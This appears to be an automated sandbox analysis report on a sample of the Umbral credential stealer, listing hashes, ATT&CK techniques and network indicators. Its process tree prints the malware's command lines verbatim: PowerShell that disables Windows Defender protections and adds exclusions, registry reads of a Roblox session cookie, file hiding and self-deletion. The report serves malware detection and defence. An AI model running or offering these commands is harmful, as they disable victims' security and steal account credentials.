umbral | 0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
14-08-2024 18:17

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General

Target

0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe
Size

288KB
MD5

2c7d3d4ad2db30f12e3cae6540601762
SHA1

7c7464861056574cd273eed99283c0498278ffb9
SHA256

0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4
SHA512

97b30ef326820cb28dd13a9f7919a330adbc053536c62484258c08f7ff9813fc547a9364e7125a831a798f33ed848c6a29d90312ad43fdeed46e098437375dc1
SSDEEP

6144:cloZM+rIkd8g+EtXHkv/iD41Rm89rI8j067NokRvBnb8e1m16oiolUaYmprYHtI:6oZtL+EP81Rm89rI8j067NokRx3oq8pr

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1904-1-0x0000000000FF0000-0x000000000103E000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2788	powershell.exe
2064	powershell.exe
2084	powershell.exe
2680	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe

Deletes itself 1 IoCs

pid	Process
2888	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2888	cmd.exe
2944	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
680	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2944	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe
2788	powershell.exe
2680	powershell.exe
2064	powershell.exe
3024	powershell.exe
2084	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe
Token: SeIncreaseQuotaPrivilege	2412	wmic.exe
Token: SeSecurityPrivilege	2412	wmic.exe
Token: SeTakeOwnershipPrivilege	2412	wmic.exe
Token: SeLoadDriverPrivilege	2412	wmic.exe
Token: SeSystemProfilePrivilege	2412	wmic.exe
Token: SeSystemtimePrivilege	2412	wmic.exe
Token: SeProfSingleProcessPrivilege	2412	wmic.exe
Token: SeIncBasePriorityPrivilege	2412	wmic.exe
Token: SeCreatePagefilePrivilege	2412	wmic.exe
Token: SeBackupPrivilege	2412	wmic.exe
Token: SeRestorePrivilege	2412	wmic.exe
Token: SeShutdownPrivilege	2412	wmic.exe
Token: SeDebugPrivilege	2412	wmic.exe
Token: SeSystemEnvironmentPrivilege	2412	wmic.exe
Token: SeRemoteShutdownPrivilege	2412	wmic.exe
Token: SeUndockPrivilege	2412	wmic.exe
Token: SeManageVolumePrivilege	2412	wmic.exe
Token: 33	2412	wmic.exe
Token: 34	2412	wmic.exe
Token: 35	2412	wmic.exe
Token: SeIncreaseQuotaPrivilege	2412	wmic.exe
Token: SeSecurityPrivilege	2412	wmic.exe
Token: SeTakeOwnershipPrivilege	2412	wmic.exe
Token: SeLoadDriverPrivilege	2412	wmic.exe
Token: SeSystemProfilePrivilege	2412	wmic.exe
Token: SeSystemtimePrivilege	2412	wmic.exe
Token: SeProfSingleProcessPrivilege	2412	wmic.exe
Token: SeIncBasePriorityPrivilege	2412	wmic.exe
Token: SeCreatePagefilePrivilege	2412	wmic.exe
Token: SeBackupPrivilege	2412	wmic.exe
Token: SeRestorePrivilege	2412	wmic.exe
Token: SeShutdownPrivilege	2412	wmic.exe
Token: SeDebugPrivilege	2412	wmic.exe
Token: SeSystemEnvironmentPrivilege	2412	wmic.exe
Token: SeRemoteShutdownPrivilege	2412	wmic.exe
Token: SeUndockPrivilege	2412	wmic.exe
Token: SeManageVolumePrivilege	2412	wmic.exe
Token: 33	2412	wmic.exe
Token: 34	2412	wmic.exe
Token: 35	2412	wmic.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeIncreaseQuotaPrivilege	2616	wmic.exe
Token: SeSecurityPrivilege	2616	wmic.exe
Token: SeTakeOwnershipPrivilege	2616	wmic.exe
Token: SeLoadDriverPrivilege	2616	wmic.exe
Token: SeSystemProfilePrivilege	2616	wmic.exe
Token: SeSystemtimePrivilege	2616	wmic.exe
Token: SeProfSingleProcessPrivilege	2616	wmic.exe
Token: SeIncBasePriorityPrivilege	2616	wmic.exe
Token: SeCreatePagefilePrivilege	2616	wmic.exe
Token: SeBackupPrivilege	2616	wmic.exe
Token: SeRestorePrivilege	2616	wmic.exe
Token: SeShutdownPrivilege	2616	wmic.exe
Token: SeDebugPrivilege	2616	wmic.exe
Token: SeSystemEnvironmentPrivilege	2616	wmic.exe
Token: SeRemoteShutdownPrivilege	2616	wmic.exe
Token: SeUndockPrivilege	2616	wmic.exe
Token: SeManageVolumePrivilege	2616	wmic.exe
Token: 33	2616	wmic.exe
Token: 34	2616	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1904 wrote to memory of 2412	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	31
PID 1904 wrote to memory of 2412	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	31
PID 1904 wrote to memory of 2412	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	31
PID 1904 wrote to memory of 2952	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	34
PID 1904 wrote to memory of 2952	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	34
PID 1904 wrote to memory of 2952	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	34
PID 1904 wrote to memory of 2788	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	36
PID 1904 wrote to memory of 2788	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	36
PID 1904 wrote to memory of 2788	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	36
PID 1904 wrote to memory of 2680	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	38
PID 1904 wrote to memory of 2680	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	38
PID 1904 wrote to memory of 2680	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	38
PID 1904 wrote to memory of 2064	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	40
PID 1904 wrote to memory of 2064	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	40
PID 1904 wrote to memory of 2064	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	40
PID 1904 wrote to memory of 3024	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	42
PID 1904 wrote to memory of 3024	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	42
PID 1904 wrote to memory of 3024	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	42
PID 1904 wrote to memory of 2616	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	44
PID 1904 wrote to memory of 2616	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	44
PID 1904 wrote to memory of 2616	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	44
PID 1904 wrote to memory of 1300	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	46
PID 1904 wrote to memory of 1300	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	46
PID 1904 wrote to memory of 1300	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	46
PID 1904 wrote to memory of 568	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	48
PID 1904 wrote to memory of 568	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	48
PID 1904 wrote to memory of 568	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	48
PID 1904 wrote to memory of 2084	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	50
PID 1904 wrote to memory of 2084	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	50
PID 1904 wrote to memory of 2084	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	50
PID 1904 wrote to memory of 680	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	52
PID 1904 wrote to memory of 680	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	52
PID 1904 wrote to memory of 680	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	52
PID 1904 wrote to memory of 2888	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	54
PID 1904 wrote to memory of 2888	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	54
PID 1904 wrote to memory of 2888	1904	0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe	54
PID 2888 wrote to memory of 2944	2888	cmd.exe	56
PID 2888 wrote to memory of 2944	2888	cmd.exe	56
PID 2888 wrote to memory of 2944	2888	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2952	attrib.exe

C:\Users\Admin\AppData\Local\Temp\0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe
"C:\Users\Admin\AppData\Local\Temp\0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2412
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe"
  2⤵
  - Views/modifies file attributes
  PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3024
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1300
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2084
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:680
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\0445ee531f81638261d4989a90d2202e117837fc0f992640f26720935fc07fb4.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4900cabea8ff5791c2fcfa0dd6f2f075

SHA1
e9f3f0e76487f00ed03210994c52d7c8ee87c448

SHA256
108761fcb19e9e9549acc6cf76952816a8bc690b8b617b46df9c58fbd7bcd960

SHA512
52b57b47451e3e831597b4ee936c3cfdce78eaa2236b5a8e9eb7d5a5e192b6b32626235dd3ece8edae6c8efcdc2759f7eeecf7ec0c4c434efe9850800494aa73

Download Submit
memory/1904-0-0x000007FEF5C53000-0x000007FEF5C54000-memory.dmp

Filesize
4KB

Download
memory/1904-1-0x0000000000FF0000-0x000000000103E000-memory.dmp

Filesize
312KB

Download
memory/1904-2-0x000007FEF5C50000-0x000007FEF663C000-memory.dmp

Filesize
9.9MB

Download
memory/1904-47-0x000007FEF5C50000-0x000007FEF663C000-memory.dmp

Filesize
9.9MB

Download
memory/2084-43-0x0000000002760000-0x0000000002768000-memory.dmp

Filesize
32KB

Download
memory/2680-14-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2680-15-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2788-7-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2788-8-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download